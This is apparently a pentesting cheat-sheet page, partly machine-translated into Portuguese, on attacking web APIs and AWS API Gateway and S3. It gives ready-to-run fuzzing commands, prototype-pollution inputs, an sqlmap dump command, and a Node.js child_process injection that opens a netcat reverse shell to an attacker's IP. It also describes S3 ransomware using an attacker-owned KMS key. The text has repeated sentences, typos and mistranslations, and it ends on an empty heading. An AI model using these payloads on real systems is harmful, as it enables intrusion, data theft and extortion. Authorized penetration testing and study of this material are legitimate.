> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/pentesting/api-pentesting.md).

# API Pentesting

<mark style="color:purple;">**Change Methods**</mark>\
\# Methods\
GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED\
\ <mark style="color:blue;">**Endpoint Discovery**</mark>\
Tente enumerar endpoints enquanto altera metodos HTTP como GET, POST, OPTIONS, etc.\
/api/?xml\
/api?xml\
/api/v1?xml\
/api/v1/user?xml\
\ <mark style="color:blue;"># Web Service Description Language</mark>\
/api/?wsdl\
\ <mark style="color:blue;"># Versions</mark>\
/api/v1/user\
/api/v2/user\
/api/v3/user\
\ <mark style="color:blue;"># Wildcards</mark>\
/api/v2/user/\*\
/api/v2/user/posts/\*\
/api/v2/users/\*\
\ <mark style="color:blue;"># Path traversal</mark>\
/api/v1/post/..\private\
\ <mark style="color:blue;">**Automation**</mark>\
\&#xNAN;**# Dirb**\
dirb <https://vulnerable.com/> endpoints.txt\
\
\&#xNAN;**# Ffuf**\
ffuf -u <https://vulnerable.com/FUZZ> -w endpoints.txt\
ffuf -u <https://vulnerable.com/FUZZ> -X POST -w endpoints.txt\
ffuf -u <https://vulnerable.com/api/FUZZ> -w wordlist.txt\
ffuf -u <https://example.com/api/?FUZZ=test> -w wordlist.txt\
\
\&#xNAN;**# Gobuster**\
gobuster dir -u <https://vulnerable.com/> -w endpoints.txt\
<https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d>\
\
\&#xNAN;**# Kiterunner**\
\# -A: wordlist type (ex. first 20000 words) # -x: max connection per host (default: 3)\
kr scan <https://vulnerable.com/api> -A=apiroutes-210228:20000 -x 10\
kr scan <https://vulnerable.com/api> -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404\
kr scan <https://vulnerable.com:8443/api> -A=apiroutes-210228:20000 -x 10\
\
\ <mark style="color:blue;">**GET Parameters**</mark>\
/api/v1/user?id=test\
/api/v1/user?name=test\
/api/v1/user?uuid=test\
/api/v1/status?live=test\
/api/v1/status?verbose=test\
\
\ <mark style="color:blue;">**Parameter Fuzzing**</mark>\
\# Key\
ffuf -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt\
ffuf -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt -fs 120\
ffuf -X POST -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt\
ffuf -X POST -u <https://vulnerable.com/api/items?FUZZ=test> -w wordlist.txt -fs 120\
\
\# Value\
ffuf -u <https://vulenrable.com/api/items?test=FUZZ> -w wordlist.xt\
ffuf -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt -fs 120\
ffuf -X POST -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt\
ffuf -X POST -u <https://vulnerable.com/api/items?test=FUZZ> -w wordlist.txt -fs 120\
\
**S**<mark style="color:blue;">**ending Unexpected Data**</mark>\
Podemos encontrar qualquer coisa enviando dados inesperados no metodo POST ou PUT.\
{"email": "<test@test.com>"}\
{"email": true}\
{"email": 1}\
{"email": -1}\
{"email": \["<test@test.com>", true]}\
{"email": {"admin": true}}\
\
// Prototype Pollution\
{"email": "<test@test.com>", "\_\_proto\_\_": {"admin": true}}\
{"email": {"\_\_proto\_\_": {"admin": true}}}\
\
\ <mark style="color:blue;">**XSS**</mark>\
Se pudermos enviar solicitações post (ou colocar) para endpoints da API, poderemos inserir cargas úteis e o resultado será refletido como a saída. XSS pode ser usado para esta exploração.\
\
\ <mark style="color:blue;">**SQL Injection**</mark>\
sqlmap -u <http://vulnerable.com/api/v2/fetch/?post=1> --dump --batch\
\
\ <mark style="color:blue;">**Node.js Remote Code Execution (RCE)**</mark>\
Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.Se o site usar o Node (por exemplo, Express), poderemos executar a função JavaScript.\
\
\# Get current working directory in the website\
/api/?key=process.cwd()\
\
\ <mark style="color:blue;">**Reverse Shell**</mark>\
Podemos executar o shell reverso usando "child\_process". Primeiro, inicie o ouvinte para obter um shell na máquina local.\
\
nc -lvnp 4444\
\
Em seguida, envie a solicitação para o site com o parâmetro que executa o shell reverso usando child\_process.\
\
/api/?key=require('child\_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc \<local-ip> 4444 >/tmp/f')\
\ <mark style="color:blue;">**Same Session Across Multiple Versions and Instances**</mark>\
For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login".\
"v1" uses "X-Token" and "v2" uses "X-Session".\
After login to "v1", you may be able to get access "v2" using the session key/value of "v1".\
\
X-Token: fc38ab5f5ae41072778d852023f9ee26\
X-Session: fc38ab5f5ae41072778d852023f9ee26\
\ <mark style="color:blue;">**XEE**</mark>\
GET /api/product/1?xml HTTP/1.1\
Se o site exibir a resposta em XML, poderemos fazer XXE.

𝗔𝗣𝗜 𝗚𝗮𝘁𝗲𝘄𝗮𝘆 - 𝘀𝗲𝗰𝘂𝗿𝗶𝘁𝘆\
\
Discutiremos algumas das implicações interessantes de segurança no API Gateway.\
<https://divyanshu-mehta.gitbook.io/researchs/aws-cloud-security/hacking-api-gateway><br>

Desvio de restrição IP\
Vários gateways de API podem ser usados para ignorar a restrição de IP. Isso pode ser feito roteando solicitações via API Gateway aleatoriamente, que podem ignorar facilmente o bloqueio de IP e outras restrições baseadas em IP.\
\
Nesse caso, o usuário procuraria sua solicitação por meio do API Gateway escolhido aleatoriamente, que ajuda a mascarar seu IP e, posteriormente, envia a solicitação ao servidor com o IP mascarado.

#### Atacando gateways públicos não autenticados

\
A autenticação no gateway de API pública não ocorre por padrão. Portanto, é completamente possível acionar o destino do API Gateway da Internet se o Gateway não estiver protegido.\
Cenário: a enumeração inicial descobriu uma função lambda que executa um conjunto especial de instruções com base na entrada do usuário e é acionada pelo API Gateway. Também descobrimos que o API Gateway não é autenticado e é público na Internet.\
Exemplo: Abaixo está o código da função lambda: -\ <mark style="color:yellow;">def lambda\_handler(event,context):</mark>\ <mark style="color:yellow;">......</mark>\ <mark style="color:yellow;">argument = event\['rawQueryString']</mark>\ <mark style="color:yellow;">if argument == "this\_is\_normal":</mark>\ <mark style="color:yellow;">printf("This is lambda")</mark>\ <mark style="color:yellow;">elif argument == "this\_is\_changed":</mark>\ <mark style="color:yellow;">printf("Flag: {secuirtylabs\_api\_gateways}")</mark>\
\
Nossa enumeração inicial também descobriu o ponto final da API anexado ao lambda. Verificou-se que o ponto final da API era \*\*<https://test123.execute-api.ap-south-1.amazonaws.com/**\\>
Portanto, no caso acima, podemos manipular o campo de argumento e enviar uma solicitação de curvatura para o endpoint de destino.\
Solicitação:\
curl -X GET <https://test123.execute-api.ap-south-1.amazonaws.com/?argument=this_is_changed><br>

## Chamadas API Gateway

\
Aqui estão algumas chamadas populares da API Gateway e o que elas fazem:\
• **get-integrations**: Chamada da API para imprimir todas as integrações associadas ao api-id\
• **get-routes**: Chamada da API para imprimir todas as rotas associadas ao api-id\
• **get-stages**: Chamada da API para imprimir todas as etapas associadas ao api-id

## **S3 Secutity**

\
A seguir, alguns cenários de segurança interessantes:

## Cenário I - Meu S3 está aberto

Muitas vezes, o balde S3 é aberto ao mundo e permite acesso não autorizado de leitura e gravação. Esse foi o principal motivo da violação do CapitalOne.\
Para listar objetos em um balde S3 chamado "bucket de teste", basta visitar **<https://test-bucket.s3.amazonaws.com>** ou execute a seguinte chamada de API.<br>

aws s3 ls s3://test-bucket

## Senario II - S3 Ransomware

Compartilhamos uma pesquisa feita pela equipe RhinoSecurity, que é equivalente da nuvem para o Ransomware no S3. O balde S3 com acesso de gravação pode ser criptografado com uma chave KMS que pertence à conta do invasor. Nesse caso, o proprietário do balde não poderá descriptografar o conteúdo, pois a chave criptografada não pertence à sua conta. Depois que o balde for criptografado, o invasor poderá deixar ransom.txt como uma nota de resgate e resgatar o balde.\
Mais detalhes sobre esta pesquisa interessante podem ser encontrados [aqui](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)\ <br>

## **Cenário III - Política de buckets aberta**

Muitas vezes, os usuários garantem que não tornem público o balde, mas uma política de balde mal configurada torna um balde público indiretamente.\
Por exemplo, considere a política abaixo:\
\
{\
"Version": "2012-10-17",\
"Statement": \[\
{\
"Sid": "Statement2",\
"Effect": "Allow",\
"Principal": "\*",\
"Action": "s3:GetObject",\
"Resource": "arn:aws:s3:::securitylabs-articles/\*"\
}\
]\
}\
\
Esta política é uma política S3 vulnerável que indica que qualquer pessoa na Internet pode baixar objetos do meu balde **securitylabs-articles** .\
Aqui a parte vulnerável é o campo Principal que é `*` o que indica que qualquer pessoa na internet pode baixar objetos. Supondo que exista um objeto chamado **note.txt** para baixar o objeto, basta fazer a solicitação de curvatura abaixo<br>

## <br>